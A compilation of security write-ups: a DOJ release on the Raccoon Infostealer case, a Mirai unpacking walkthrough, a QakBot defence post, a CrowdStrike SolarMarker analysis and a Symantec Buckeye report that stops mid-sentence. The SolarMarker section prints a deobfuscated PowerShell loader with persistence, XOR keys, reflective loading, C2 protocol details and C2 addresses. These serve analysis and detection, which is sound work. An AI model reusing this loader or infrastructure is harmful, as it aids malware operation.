cyber criminals to steal from innocent Americans and citizens around the world. I urge the public to visit the FBI’s Raccoon Infostealer website, find out if their email is within the stolen data, and file a victim complaint through the FBI’s IC3 website.” “Today’s case is a further reminder the FBI will relentlessly pursue and bring to justice cyber criminals who seek to steal from the American public,” said FBI Deputy Director Paul Abbate. “We have once again leveraged our unique authorities, world-class capabilities, and enduring international partnerships to maximize impact against cyber threats. We will continue to use all available resources to disrupt these attacks and protect American citizens. If you believe you’re a victim of this cybercrime, we urge you to visit raccoon.ic3.gov.” “This case highlights the FBI’s unwavering commitment to work closely with our law enforcement and private sector partners around the world to hold cybercriminals accountable for their actions and protect the American people from cybercrime,” said FBI Special Agent in Charge Oliver E. Rich Jr. “This case also serves as a reminder to public and private sector organizations of the importance to report internet crime and cyber threats to law enforcement as soon as possible. Working together is the only way we’re going to stay ahead of rapidly changing cyber threats." “This indictment demonstrates the resolve and close cooperation of the Army Criminal Investigation Division and the FBI working jointly to protect and defend the United States,” stated Special Agent in Charge Marc Martin, Army CID’s Cyber Field Office. “Army CID would also like to thank our law enforcement partners in Italy and the Netherlands.” Sokolovsky is charged with one count of conspiracy to commit computer fraud and related activity in connection with computers; one count of conspiracy to commit wire fraud; one count of conspiracy to commit money laundering; and one count of aggravated identity theft. The Amsterdam District Court issued a decision on September 13, 2022, granting the defendant’s extradition to the United States. Sokolovsky has appealed that decision. If convicted, Sokolovsky faces a maximum penalty of 20 years in prison for the wire fraud and money laundering offenses, five years for the conspiracy to commit computer fraud charge, and a mandatory consecutive two-year term for the aggravated identity theft offense. A federal district court judge will determine any sentence after considering the U.S. Sentencing Guidelines and other statutory factors. The FBI’s Austin Cyber Task Force, with the assistance of the Department of the Army Criminal Investigation Division (Army CID), is investigating the case. The FBI Austin Cyber Task Force is supported by Army CID, Austin Police Department, the Naval Criminal Investigative Service, the Round Rock Police Department, and the Texas Department of Public Safety. An indictment is merely an allegation and the defendant is presumed innocent until proven guilty beyond a reasonable doubt in a court of law.
# Extracting Indicators from a Packed Mirai Sample January 4, 2022 By Tony Lambert Packing is really commonly used by adversaries to stump analysis, so in this post I’m going to look at a sample that is really easy to unpack and get indicators from. In this case, the sample is Mirai packed with UPX. ## Why Just Indicators? Malware analysis should serve a purpose. In my day job on the Red Canary Intelligence team, I sometimes have to assess malware for indicators as parts of incidents. Not every adventure ends in assembly code, and not every adventure requires a 50-page report. ## Identifying UPX Packing For this Mirai sample, it’s easy to detect the UPX packing with `Detect It Easy`. ``` remnux@remnux:~/cases/mirai$ diec mirai.elf filetype: ELF32 arch: 386 mode: 32-bit endianess: LE type: EXEC packer: UPX(3.96)[NRV,brute] ``` To verify it’s packed with standard UPX, we can look for `UPX!` (55 50 58 21) in the first few bytes: ``` remnux@remnux:~/cases/mirai$ hexdump -C mirai.elf | head 00000000 7f 45 4c 46 01 01 01 03 00 00 00 00 00 00 00 00 |.ELF............| 00000010 02 00 03 00 01 00 00 00 08 ba 04 08 34 00 00 00 |............4...| 00000020 00 00 00 00 00 00 00 00 34 00 20 00 03 00 28 00 |........4...(....| 00000030 00 00 00 00 01 00 00 00 00 00 00 00 00 80 04 08 |................| 00000040 00 80 04 08 e6 42 00 00 e6 42 00 00 05 00 00 00 |.....B...B......| 00000050 00 10 00 00 01 00 00 00 00 00 00 00 00 d0 04 08 |................| 00000060 00 d0 04 08 00 00 00 00 20 3c 00 00 06 00 00 00 |........<......| 00000070 00 10 00 00 51 e5 74 64 00 00 00 00 00 00 00 00 |....Q.td........| 00000080 00 00 00 00 00 00 00 00 00 00 00 00 06 00 00 00 |................| 00000090 04 00 00 00 4c 15 8d 50 55 50 58 21 ec 08 0d 0c |....L..PUPX!....| ``` Also, we can verify with YARA: ``` remnux@remnux:~/cases/mirai$ yara-rules -s mirai.elf UPXProtectorv10x2 mirai.elf 0x3a2a:$a0: EB 0E 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB ``` It’s not unheard of for adversaries to overwrite artifacts of UPX packing or use custom packers, so when you find a sample with standard UPX, it’s always time for celebration! ## Unpacking The Sample In this case, it’s simple to unpack the sample. We’re using `upx` on REMnux, but we also need to remember that the command will overwrite the original executable. First, we need to create a backup copy. ``` remnux@remnux:~/cases/mirai$ cp mirai.elf mirai.elf.bak remnux@remnux:~/cases/mirai$ upx -d mirai.elf Ultimate Packer for eXecutables Copyright (C) 1996 - 2020 UPX 3.96 Markus Oberhumer, Laszlo Molnar & John Reiser Jan 23rd 2020 File size Ratio Format Name -------------------- ------ ----------- ----------- 30908 <- 17376 56.22% linux/i386 mirai.elf Unpacked 1 file. ``` We can verify the result is executable with `file` and then get our hashes to look up in VT or other sources. ``` remnux@remnux:~/cases/mirai$ file mirai.elf mirai.elf: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped remnux@remnux:~/cases/mirai$ diec mirai.elf filetype: ELF32 arch: 386 mode: 32-bit endianess: LE type: EXEC remnux@remnux:~/cases/mirai$ md5sum mirai.elf 3c246e3a6c146dd823268920918c9b48 mirai.elf ``` ## Looking for Indicators The quick and easy triage for indicators can happen with `strings`. Remember, by default it just looks for ASCII and not Unicode, so you need two passes. ``` remnux@remnux:~/cases/mirai$ strings mirai.elf > mirai-strings.txt remnux@remnux:~/cases/mirai$ strings -eL mirai.elf >> mirai-strings.txt ``` Examining the strings output, we can find a couple of interesting things: - 35.197.127[.]250 - /dev/null From here, we can pivot on that IP address as an indicator to see where it leads. We can also possibly look for sandbox reports or execute the malware in a controlled environment. To save some time, I looked into a Joe Sandbox report for the sample. The report included the IP address above plus a few more to try and pivot around. Depending on the requirements for your incident, you might also look for obfuscated strings using Ghidra or other tools, but we don’t need to for this case. Thanks for reading!
# Identifying and Defending Against QakBot's Evolving TTPs **Scott Small** November 30, 2022 If you’re an information security practitioner, or just keep up with cybersecurity reporting, you have almost certainly seen QakBot mentioned in your news feeds recently. In this blog, we will discuss why most organizations should care about QakBot, and how it represents a clear example of adversary TTP evolution (and the importance of threat-informed defense). We’ll also show how Tidal’s free Community Edition can help identify the latest TTPs associated with threats like QakBot, and give practical, actionable guidance for defending against these adversary behaviors. ## What is QakBot, and Why is it a Concern? In our view, most organizations should include QakBot in their threat profile, a register of the most notable cyber threats relevant to the organization and its industry. QakBot (also known as QBot and Pinkslipbot) is a prolific malware tied to a large number of attacks since its debut in 2007. Historically, QakBot operators have executed intense campaigns (individual vendors can see 1,000+ detections per month), followed by lulls in activity. QakBot has attacked victims in virtually every major industry. QakBot was originally designed as a banking Trojan, a type of malware built to steal financial information, but it now includes many “modules” that broaden its functionality. Notably, in recent years, security teams have observed QakBot being used in association with malware designed for a range of other purposes, including pre- and post-infection activities. These include other prolific malware responsible for attacks on victims in many industries, such as Cobalt Strike, Emotet, and Brute Ratel. Security teams typically use factors like these to further elevate a threat’s priority level within their threat profile. ## QakBot: A Case Study in TTP Evolution As we highlighted in our last blog, adversaries are increasingly demonstrating the ability to modify their behaviors, in some cases with incredible speed. QakBot represents a clear example of this trend. After a lull in activity last summer, QakBot operators resumed attacks in September 2021. QakBot infections at the time relied heavily on malicious Excel email attachments containing macros, which serve as efficient means of automating malicious command execution built into common file types. In direct response to frequent macro abuse by QakBot and other threats, Microsoft announced in February 2022 that it would begin to block macro execution in popular Microsoft Office file types when those files were downloaded from the Internet. QakBot operators appeared to adapt to this significant new security measure and began to implement alternative infection techniques to bypass these protections almost immediately. Researchers from Hornetsecurity began to observe QakBot spam emails now containing HTML attachments, which provide a stealthy means of downloading additional files (in this case ZIP files) that contained multiple other file types (ISOs, LNKs, and DLLs), which were accessed sequentially to ultimately run the main QakBot executable. The Hornetsecurity researchers witnessed a major drop in the rate of Excel email attachments, from 22% of all malicious attachments in March to just 4% in September. With the November 8 Patch Tuesday updates, Microsoft took further steps to address some of these techniques, announcing that security features would propagate to relevant files contained within ISO files, among other relevant fixes. However, just six days after this announcement, QakBot appeared to evolve its technique set once again, as security teams observed QakBot infections involving files crafted to bypass some of these latest protections. ## Defending Against QakBot’s Evolving TTPs QakBot’s repeated TTP evolution over the past year alone highlights why a threat-informed approach to defense is absolutely necessary; without intelligence around QakBot’s current techniques, you could be focusing defensive resources on techniques that are now less relevant. Let’s now take a look at how Tidal’s free Community Edition can help identify techniques – and, importantly, relevant defensive capabilities – associated with QakBot’s recent TTP evolutions. For a historical baseline, we can begin by loading the set of techniques associated with QakBot from the MITRE ATT&CK® knowledge base into Tidal’s matrix view. This set covers 64 techniques linked with QakBot based on nine public reports from June 2020 to September 2021. Next, let’s examine the body of more recent public threat intelligence around QakBot. For these examples, I compiled custom Tidal Technique Sets based on 16 reports that I could quickly surface online and which had readily identifiable technique details. Overlaying the custom technique set, which also comprised 64 techniques, onto the ATT&CK knowledge base set revealed 37 techniques which were exclusively referenced in the most recent QakBot intelligence reporting (October 2021-October 2022). The following graphic summarizes the key techniques newly reported during each time period: The Community Edition enables intuitive pivoting and overlays of defensive capabilities aligned with the same adversary techniques described in threat intelligence reporting. Our top guidance around the key techniques discussed in this blog includes: - **Delivery**: Most QakBot infections begin with malicious file delivery via phishing, including spearphishing attachments and links. Robust email security and anti-phishing capabilities are recommended to mitigate these first stages of most QakBot attacks. User training and awareness around current phishing techniques is also highly encouraged. - **User Execution**: Macro-based techniques observed during the first phase of QakBot’s recent activity typically relied on users manually clicking to enable macros, while later attacks used email content themes that lured users into downloading attachments and opening one or multiple downloaded files. Mitigations around user interaction and execution of suspicious files and links are highly recommended. - **Initial Footholds**: While writing detections for all possible variations of HTML Smuggling may be challenging, Microsoft suggests policies around automatic Javascript code execution and other mitigations here. - **Regsvr32**: The Regsvr32 technique had the highest overall reference count in the October 2021-October 2022 Technique Set discussed above. Adversaries abuse regsvr32.exe to proxy execution of malicious code. - **Other Post-Exploit Techniques**: Detection opportunities and other defensive capabilities exist around many of the other techniques not yet discussed here. Community Edition users can use the Technique Details pages to easily pivot to Products and Analytics aligned with adversary techniques. - **Logging & Data Sources**: The Technique Details pages can also be used to pivot to relevant Data Sources that, if logged, can provide visibility into instances of adversary technique use. - **Branching Out**: The Technique Details pages enable quick pivoting to relevant capabilities and analytics, saving time when trying to surface detections or capabilities that align directly with QakBot technique implementations. *Note: The Mark-of-the-Web Bypass technique was not explicitly mentioned in any of the source reporting we reviewed. Reported incident investigations may not have determined whether certain files possessed or did not possess MotW signatures. However, given the suspected use of ISO files to help bypass MotW safeguards, we are highlighting the technique here to represent the reports that described QakBot infections involving ISO files.*
# A Technical Analysis of SolarMarker Backdoor In this blog, we take a look at a recent detection that was blocked by the CrowdStrike Falcon® platform’s next-generation antivirus (NGAV). SolarMarker backdoor features a multistage, heavily obfuscated PowerShell loader, which leads to a .NET compiled backdoor being executed. This blog details how the CrowdStrike Falcon Complete™ team detected the binary using the Falcon UI, our deobfuscation of the initial stages, and how we collaborate with the CrowdStrike Intel team to conduct further analysis and protect our customers from emerging threats. ## Falcon Complete Triage On Oct. 12, 2020, the Falcon Complete team began receiving detections for likely malicious PowerShell scripts affecting multiple customer environments. Falcon Prevent™ NGAV prevented the processes from running because the script displayed characteristics common to other known malicious scripts. Command lines associated with the detections were immediately flagged as suspicious because they were executing the contents of a temporary file, then removing the file immediately after running. Examination of this activity through Falcon’s Process Explorer tree raised additional red flags due to the source of the detection being files downloaded via web browsers that were executable but masquerading as document files. When reviewing the installer executable details (SHA256: 3e99b59df79d1ab9ff7386e209d9135192661042bcdf44dde85ff4687ff57d01), it was observed that the files were signed by a seemingly unrelated certificate signer with a recent first-seen date. Researching the installer executable in public malware repositories established that the file was first uploaded a few days beforehand. Suspicions were further raised by the large file size (114MB) along with the executable masquerading as a Microsoft Word document. These suggested possible attempts to evade antivirus detection. The installer also dropped legitimate binaries such as an application called “Docx2Rtf” (a known document converter) and a demo of “Expert PDF.” The Falcon Complete team concluded that the technique was used to convince victims that they had downloaded a corrupt document or required additional software to view the document. Further triage was performed using Falcon’s Real Time Response (RTR) mechanism to connect to an affected system and directly examine the PowerShell file referenced in the detection command line. The script performed an XOR decryption of data contained in a second similarly named text file that, when decoded, contained another obfuscated PowerShell script. Although these processes were being blocked by the Falcon sensor, the Falcon Complete team decoded multiple levels of obfuscation and encryption and confirmed that the PowerShell script was malicious. The analysis identified persistence mechanisms and a command and control (C2) IP address within the decrypted payload of the script. Using these indicators of compromise (IOCs), the Falcon Complete team was able to verify that the malware was successfully blocked in all customer environments. The investigation did not establish any clear link between targeted customers: The malware appeared across multiple different verticals, in different regions and countries, and affected customers of various sizes. Initially, the infection vector appeared to be from phishing, but no strong correlation with email client activity was observed, which usually occurs during phishing campaigns. In the initial analysis, the Falcon Complete team could not link the malicious files to any known malware families or threat actor campaigns and engaged the CrowdStrike Intelligence team to investigate further. ## CrowdStrike Intel Analysis Based on observed filenames in public malware repositories (e.g., Advanced-Mathematical-Concepts-Precalculus-With-Applications-Solutions.exe) and Falcon telemetry, the hypothesis is that the malware is delivered as a fake document download targeting users performing web searches for document files. CrowdStrike has observed a number of Google Sites hosted pages as lure sites for the malicious downloads. These sites advertise document downloads and are often highly ranked in search results. The use of Google Sites suggests attempts by the threat actors to increase search ranking. The malware installer filenames and lure sites have only been observed in English so far, and based on Falcon telemetry, it is clear that SolarMarker is most prevalent in Western countries, especially in the U.S. The executable with SHA256 hash 3e99b59df79d1ab9ff7386e209d9135192661042bcdf44dde85ff4687ff57d01 is an Inno Setup Installer. This program is the first stage in a multi-stage dropper chain leading to the SolarMarker backdoor. The installer uses Inno Setup’s Pascal Scripting feature to customize its actions. It will first extract two temporary files to %Tmp%\<unique>.tmp\<filename>, where <unique> is a unique directory name. The two files are the following: - **Filename**: Docx2Rtf.exe **SHA256 hash**: caf8e546f8c6ce56009d28b96c4c8229561d10a6dd89d12be30fa9021b1ce2f4 - **Filename**: waste.dat **SHA256 hash**: d730b47b0e8ce6c093fb492d2483a45f8bc93cac234a592d34c09945653daf4 Both files will be deleted once the installer completes. The file Docx2Rtf.exe is the document converter Docx2Rtf version 4.4, a benign file. The file waste.dat is 112 MB in size, but contains only zero bytes, indicating that the file was only included in the installer to increase its size, which is known to prevent detection by some security products. Once these two files are extracted, Docx2Rtf.exe is executed and the installer sleeps for five seconds. Then the installer checks if it is executed on one of its targeted operating system (OS) versions and exits if not. The targeted versions are Windows 8.1, Windows Server 2012 R2, Windows 10, and Windows Server 2016. After being certain about the OS, the installer decrypts a third stage and writes it to %Temp%\<random>.txt, where <random> is a random 32-character hexadecimal string. The third stage is encrypted twice with different keys, and the installer will only decrypt it once. The decryption function named DECRYPTPS takes in a hex-encoded-encrypted blob and a string-based key and performs a simple XOR operation. ```python def decryptps(enc_payload, key): enc_payload = unhexlify(enc_payload) key = key.encode("utf-8") res = "" for i in range(0, len(enc_payload)): cur_enc_byte = enc_payload[i] key_byte = key[i % len(key)] decrypted_byte = cur_enc_byte ^ key_byte res += chr(decrypted_byte) return res ``` After saving the one-time-decrypted third stage, the installer writes a second-stage PowerShell script to %Temp%\<random>.txt and executes it. This second stage contains the path to the previously written third stage. ### Second Stage The second stage’s sole purpose is decrypting the one-time-decrypted third stage written by the installer. All PowerShell scripts observed throughout the dropper chain use the same decryption algorithm, which in Python looks as follows: ```python def powershell_xor_decrypt(base64_encoded_payload, key): encrypted_payload = base64.b64decode(base64_encoded_payload) key = key.encode("utf-8") res = "" for i in range(0, len(encrypted_payload)): cur_enc_byte = encrypted_payload[i] key_byte = key[i % len(key)] decrypted_byte = cur_enc_byte ^ key_byte res += chr(decrypted_byte) return res ``` The second stage will use the above algorithm to Base64-decode the one-time-decrypted third stage and XOR it with the following key: `ZleyoPSJVRHxIWGgnjbYmKUOvfQTsqMXhCtpzkdirBELcaDNwuAF`. The decrypted third stage is subsequently executed using `Invoke-Expression`. ### Third Stage The third stage drops a fourth stage to %AppDaTa%\Microsoft\<RND4>\<RND8>.cmd where <RND4> and <RND8> are four and eight random characters, respectively. Additionally, the third stage writes the Base64-decoded backdoor to %AppDaTa%\microsoft\<RND4>\<RND52> where <RND4> and <RND52> are four and 52 random characters, respectively. This Base64-decoded backdoor has the following SHA256 hash: 45ea9b5697517f7bdc5af83c62bb8de7821baef9463c466cfc0e881f21c32011. Furthermore, the third stage modifies shortcuts (.LNK files) on the desktop of the current user and .LNK files that are shared by all users on their desktop. The third stage will alter some, but not all shortcuts to also execute a third stage. A shortcut is changed only if its target path points to an existing file that has a file extension. Additionally, the shortcut is only modified when this target path does not contain the substring `cmd.exe`. Also, shortcuts with arguments are not altered. All other shortcuts are modified to execute their original target using `cmd.exe` but additionally run a fourth stage. Once the shortcuts have been modified, the third stage executes the fourth stage directly. ### Fourth Stage The following is a deobfuscated version of the fourth stage: ```powershell $path_to_persist = $env:appdata + '\microsoft\windows\start menu\programs\startup\a7f9214c3844f0a883268d3853ba7.lnk'; If(-not(test-path $path_to_persist)){ $wscript_shell = new-object -comobject wscript.shell; $shortcut = $wscript_shell.createshortcut($path_to_persist); $shortcut.windowstyle = 7; $shortcut.targetpath = <path to fourth stage>; $shortcut.save(); }; If((get-process -name '*powershell*').count -lt 15){ $xor_key = "XlA7P25AfkVNcUBzKnJgXk5FbXk+VmNsfHdXcVo0dlkpIX5vVXh3cHVlK2h+aGxSTkZ3MjdWYXB8NkFVdCtCNTFvVHNQb3pPU00ycUA5YGF1OX5+XnBgZmVzcW" $decrypted_backdoor = [system.io.file]::readallbytes([system.text.encoding]::utf8.getstring([system.convert]::frombase64string('QzpcVXN For($i=0;$i -lt $decrypted_backdoor.count;){ For($j=0;$j -lt $xor_key.length;$j++){ $decrypted_backdoor[$i] = $decrypted_backdoor[$i] -bxor $xor_key[$j]; $i++; If($i -ge $decrypted_backdoor.count){ $j = $xor_key.length } } }; [system.reflection.assembly]::load($decrypted_backdoor); [d.m]::run() } ``` This script establishes persistence by creating a shortcut under the following path: `%AppData%\microsoft\windows\startmenu\programs\startup\a7f9214c3844f0a883268d3853ba7.lnk`. This shortcut then points to the fourth stage itself. Once persistence has been established, the fourth stage then Base64-decodes a path to the Base64-decoded backdoor. Recall that the Base64-decoded backdoor had been written to %AppDaTa%\microsoft\<RND4>\<RND52> by the third stage. The file referenced by this path is read and then XORed with the following key: `XlA7P25AfkVNcUBzKnJgXk5FbXk+VmNsfHdXcVo0dlkpIX5vVXh3cHVlK2h+aGxSTkZ3MjdWYXB8NkFVdCtCNTFvVHNQb3pPU00ycUA5YGF1OX5+XnBgZmV`. The result of this decryption is a .NET executable with the following SHA256 hash: ceb42fea3be898251028e2c5128a69451212bcb48a4871454c60dc2262426677. Finally, the fourth stage loads the executable as .NET assembly and calls the `D::M.Run` method. ## Backdoor This Run function is the entry point of the SolarMarker backdoor (alias C2 Jupyter client). Initially, the backdoor generates a 32-byte random string as a victim ID and saves it under `%AppData%\AppData\Roaming\solarmarker.dat`. Additionally, the malware collects information about the computer and sends an initial request to its C2 server at `http://45.135.232.131`. Communication between the backdoor and its C2 servers is facilitated via a JSON-like protocol where each message is encrypted using the following hardcoded XOR key: `4qMpLcYfVM4eimGl4Qz7cxPiafbL9edWpM1O`. Once encrypted, messages are Base64-encoded and sent via a POST request to the C2 server. The initial message contains the following information: | Key | Description | |------------------|-----------------------------------------------------------------------------| | action | Request type for messages sent from backdoor to C2. In the initial message from the backdoor, this has value `ping`. | | hwid | Uniquely identifies victim PC using a randomly generated string of length 32. | | pc_name | Machine name of the PC | | os_name | Operating system version including service pack | | arch | CPU architecture | | rights | Rights of the executing user | | workgroup | Workgroup of the PC | | version | Version of the backdoor. In the analyzed sample, this has value `DR/1.0`. | | protocol_version | Likely version of the C2 communication protocol. In the analyzed sample, this value is `1`. | The C2 server then responds to this message using a task that is either of type `status=command`, `status=file`, or `status=idle`. Tasks of type `idle` contain nothing else but the status field. ### Task for command type: | Key | Description | |----------|-----------------------------------------------------| | status | Type of command from C2 | | command | Commands to execute using PowerShell | ### Task for file: | Key | Description | |----------------|-----------------------------------------------------| | status | Type of command from C2 | | task_id | Task ID likely used to reidentify a started task | | type | Type of file to be executed. This can either be the file extension `exe` or `ps1`. | Tasks of `command` type are directly executed via PowerShell and the backdoor waits 30 seconds before sending another initial message to request a new task. For `file` tasks, the client requests the file to execute using the following message: | Key | Description | |------------------|-----------------------------------------------------| | action | The request type to retrieve a file is `get_file`. | | hwid | Unique identifier for victim PC | | task_id | Task ID from the task which requested a file to be executed | | protocol_version | Version of the C2 communication protocol. In this sample, the version is `1`. | The C2 then answers with a payload that is saved under `%Temp%\<RND24>.<exe/ps1>` with the respective extension, where `<RND24>` are 24 random characters. Next, the payload is executed. After 30 seconds, the backdoor sends the following message to the C2: | Key | Description | |------------------|-----------------------------------------------------| | action | The request type to report the execution of a file is `change_status`. | | hwid | Unique identifier for victim PC | | task_id | Task ID from the task that requested a file to be executed | | is_success | Always set to `true`. Independent of the exit code of the executed payload. | | protocol_version | Version of the C2 communication protocol. In the observed sample, the version is `1`. | The C2 is expected to respond with a new task to this message. ## Credential Harvester On Oct. 15, 2020, CrowdStrike Intelligence observed the backdoor distributing a credential harvester. CrowdStrike Intelligence dubbed this malware SolarMarker Stealer (aka Jupyter Stealer). The stealer’s first stage is a PowerShell script with the following SHA256 hash: 2a8bc51367801c87ca2c64fdad1d0b06f91bbbc4f0f16ad18dbc122fda3d1a87. This PowerShell script contains a Base64-encoded payload with the following SHA256 hash: 73dcbbf322b72e2cf675ca3356a7ece34e24108a82ad36eeb98596a35c8fdb16. This payload is Base64-decoded and then XORed using the following key: `QH5WcmheMHRucV5TSDZUQHYpKG1eb29WQl5TITtHQHF2d3peMEE0NEBScGFiXlNgYURAc3pac0B7Tj9lXjFoRkBeb293S0B1ckJIXjBKSjleTXxnYV4wYj9`. The resulting payload with SHA256 hash ce486097ad2491aba8b1c120f6d0aa23eaf59cf698b57d2113faab696d03c601 is a .NET based credential harvester configured for the C2 server `https://vincentolife.com/j`. The malware is capable of stealing passwords, cookies, and form auto-completion data from Google Chrome and Mozilla Firefox. Additionally, the stealer extracts the certificate and key databases from Firefox. The stolen data is sent to the C2 at `https://vincentolife.com/j/post?q=` using a POST request, where the GET parameter q is a JSON array containing the following information about the victim PC: | Key | Description | |-----------|-----------------------------------------------------------------------------| | hwid | Uniquely identifies victim PC using a randomly generated string of length 32. Saved in %userprofile%\AppData\Roaming\solarmarker.dat | | pn | Machine name of the PC | | os | Operating system version including service pack | | x | CPU architecture | | prm | Rights of the executing user | | ver | Likely version of the stealer. In the analyzed sample, this has value `CSDN/1.8`. | Further, SolarMarker Stealer is capable of decrypting data for the current user that has been encrypted using Microsoft’s Data Protection API. ## Indicators of Compromise ### Files | Description | Path if applicable | SHA256 hash if applicable | |------------------|------------------------------------------------------------------|---------------------------| | Second stage | %Temp%\<random chars>.txt | Changes due to randomly generated path to third stage it contains | | Encrypted third stage | %Temp%\<random chars>.txt | e82a58e59321852c6857aa511472cbb7327822461a03e3c189304b2c36 | | Third stage | None | 2860a7b98dbfc4c10347187e79d7528a875dd71a893ce025190b57bcb1 | | Fourth stage | %AppData%\microsoft\<RND4>\<RND8>.cmd | Changes due to randomly generated paths it contains | | Encrypted backdoor | None | b3e6a879d4ac3fff34b520f39994639df26e846087632fb7505e89a4da | | Base64-decoded backdoor | %AppData%\microsoft\<RND4>\<RND52> | 45ea9b5697517f7bdc5af83c62bb8de7821baef9463c466cfc0e881f21 | | Backdoor | None | ceb42fea3be898251028e2c5128a69451212bcb48a4871454c60dc2262 | | SolarMarker Stealer first stage | %Temp%\<RND24>.ps1 | 2a8bc51367801c87ca2c64fdad1d0b06f91bbbc4f0f16ad18dbc122fda | | SolarMarker Stealer | None | ce486097ad2491aba8b1c120f6d0aa23eaf59cf698b57d2113faab696d | ### Network | Description | C2 | |---------------------------------|------------------------------| | SolarMarker Backdoor C2 | http://45.135.232.131 | | SolarMarker Stealer C2 | https://vincentolife.com/j | *The SolarMarker backdoor was originally named in public reporting in October 2020 and is not in any way related to the recent high-profile SUNBURST/SUNSPOT intrusion activity.*
# Buckeye: Espionage Outfit Used Equation Group Tools Prior to Shadow Brokers Leak **Key Findings** - The Buckeye attack group was using Equation Group tools to gain persistent access to target organizations at least a year prior to the Shadow Brokers leak. - Variants of Equation Group tools used by Buckeye appear to be different from those released by Shadow Brokers, potentially indicating that they didn't originate from that leak. - Buckeye's use of Equation Group tools also involved the exploit of a previously unknown Windows zero-day vulnerability. This zero-day was reported by Symantec to Microsoft in September 2018 and patched in March 2019. - While Buckeye appeared to cease operations in mid-2017, the Equation Group tools it used continued to be used in attacks until late 2018. It is unknown who continued to use the tools. They may have been passed to another group or Buckeye may have continued operating longer than supposed. The 2017 leak of Equation Group tools by a mysterious group calling itself the Shadow Brokers was one of the most significant cybersecurity stories in recent years. Equation is regarded as one of the most technically adept espionage groups, and the release of a trove of its tools had a major impact, with many attackers rushing to deploy the malware and exploits disclosed. One of these tools, the EternalBlue exploit, was used to devastating effect in the May 2017 WannaCry ransomware outbreak. However, Symantec has now found evidence that the Buckeye cyber espionage group (aka APT3, Gothic Panda) began using Equation Group tools in attacks at least a year prior to the Shadow Brokers leak. Beginning in March 2016, Buckeye began using a variant of DoublePulsar (Backdoor.Doublepulsar), a backdoor that was subsequently released by the Shadow Brokers in 2017. DoublePulsar was delivered to victims using a custom exploit tool (Trojan.Bemstour) that was specifically designed to install DoublePulsar. Bemstour exploits two Windows vulnerabilities to achieve remote kernel code execution on targeted computers. One vulnerability is a Windows zero-day vulnerability (CVE-2019-0703) discovered by Symantec. The second Windows vulnerability (CVE-2017-0143) was patched in March 2017 after it was discovered to have been used by two exploit tools—EternalRomance and EternalSynergy—that were also released as part of the Shadow Brokers leak. The zero-day vulnerability allows for the leaking of information and can be exploited in conjunction with other vulnerabilities to attain remote kernel code execution. It was reported by Symantec to Microsoft in September 2018 and was patched on March 12, 2019. How Buckeye obtained Equation Group tools at least a year prior to the Shadow Brokers leak remains unknown. Buckeye disappeared in mid-2017, and three alleged members of the group were indicted in the U.S. in November 2017. However, while activity involving known Buckeye tools ceased in mid-2017, the Bemstour exploit tool and the DoublePulsar variant used by Buckeye continued to be used until at least September 2018 in conjunction with different malware. ## History of Attacks The Buckeye attack group had been active since at least 2009, when it began mounting a string of espionage attacks, mainly against organizations based in the U.S. The group has a record of exploiting zero-day vulnerabilities. These include CVE-2010-3962 as part of an attack campaign in 2010 and CVE-2014-1776 in 2014. Although other zero-day attacks have been reported, they have not been confirmed by Symantec. All zero-day exploits known, or suspected, to have been used by this group are for vulnerabilities in Internet Explorer and Flash. ## Timeline of Attacks Beginning in August 2016, a group calling itself the Shadow Brokers began releasing tools it claimed to have originated from the Equation Group. It initially released samples of the information it had, offering the full trove to the highest bidder. Over the coming months, it progressively released more tools, until April 2017, when it released a final, large cache of tools, including the DoublePulsar backdoor, the FuzzBunch framework, and the EternalBlue, EternalSynergy, and EternalRomance exploit tools. However, Buckeye had already been using some of these leaked tools at least a year beforehand. The earliest known use of Equation Group tools by Buckeye is March 31, 2016, during an attack on a target in Hong Kong. During this attack, the Bemstour exploit tool was delivered to victims via known Buckeye malware (Backdoor.Pirpi). One hour later, Bemstour was used against an educational institution in Belgium. Bemstour is specifically designed to deliver a variant of the DoublePulsar backdoor. DoublePulsar is then used to inject a secondary payload, which runs in memory only. The secondary payload enables the attackers to access the affected computer even after DoublePulsar is removed. It is worth noting that earlier versions did not include any means of uninstalling the DoublePulsar implant. This functionality was added in later versions. A significantly improved variant of the Bemstour exploit tool was rolled out in September 2016, when it was used in an attack against an educational institution in Hong Kong. While the original variant was only capable of exploiting 32-bit systems, the new variant could exploit both 32-bit and 64-bit targets, adding support for newer Windows versions. Another new feature of the payload in the second variant allowed the attacker to execute arbitrary shell commands on the infected computer. This custom payload is also designed to copy arbitrary files and execute arbitrary processes on the targeted computer. When used against 32-bit targets, Bemstour still delivered the same DoublePulsar backdoor. However, against 64-bit targets, it delivered only the custom payload. The attackers typically used it to execute shell commands that created new user accounts. Bemstour was used again in June 2017 in an attack against an organization in Luxembourg. Unlike earlier attacks when Bemstour was delivered using Buckeye’s Pirpi backdoor, in this attack Bemstour was delivered to the victim by a different backdoor Trojan (Backdoor.Filensfer). Between June and September 2017, Bemstour was also used against targets in the Philippines and Vietnam. Development of Bemstour has continued into 2019. The most recent sample of Bemstour seen by Symantec appears to have been compiled on March 23, 2019, eleven days after the zero-day vulnerability was patched by Microsoft. The purpose of all the attacks was to acquire a persistent presence on the victim’s network, meaning information theft was the most likely motive of the attacks. ## The Filensfer Connection Filensfer is a family of malware that has been used in targeted attacks since at least 2013. Symantec has found multiple versions of the malware, including a C++ version, a compiled Python version (using py2exe), and a PowerShell version. Over the past three years, Filensfer has been deployed against organizations in Luxembourg, Sweden, Italy, the UK, and the U.S. Targets included organizations in the telecoms, media, and manufacturing sectors. While Symantec has never observed the use of Filensfer alongside any known Buckeye tools, information shared privately by another vendor included evidence of Filensfer being used in conjunction with known Buckeye malware (Backdoor.Pirpi). ## Bemstour Exploit Tool Bemstour exploits two Windows vulnerabilities to achieve remote kernel code execution on targeted computers. The zero-day vulnerability found and reported by Symantec (CVE-2019-0703) occurs due to the way the Windows SMB Server handles certain requests. The vulnerability allows for the leaking of information. The second vulnerability (CVE-2017-0143) is a message type confusion vulnerability. When the two vulnerabilities are exploited together, the attacker can gain full access in the form of kernel mode code execution, enabling them to deliver malware to the targeted computer. When Bemstour was first used in 2016, both vulnerabilities were zero days, although CVE-2017-0143 was subsequently patched by Microsoft in March 2017 (MS17-010). CVE-2017-0143 was also used by two other exploit tools—EternalRomance and EternalSynergy—that were released as part of the Shadow Brokers leak in April 2017. Buckeye's exploit tool, EternalRomance, as well as EternalSynergy, can exploit the CVE-2017-0143 message type confusion vulnerability to perform memory corruption on unpatched victim computers. In order to obtain remote code execution capabilities, all three exploit 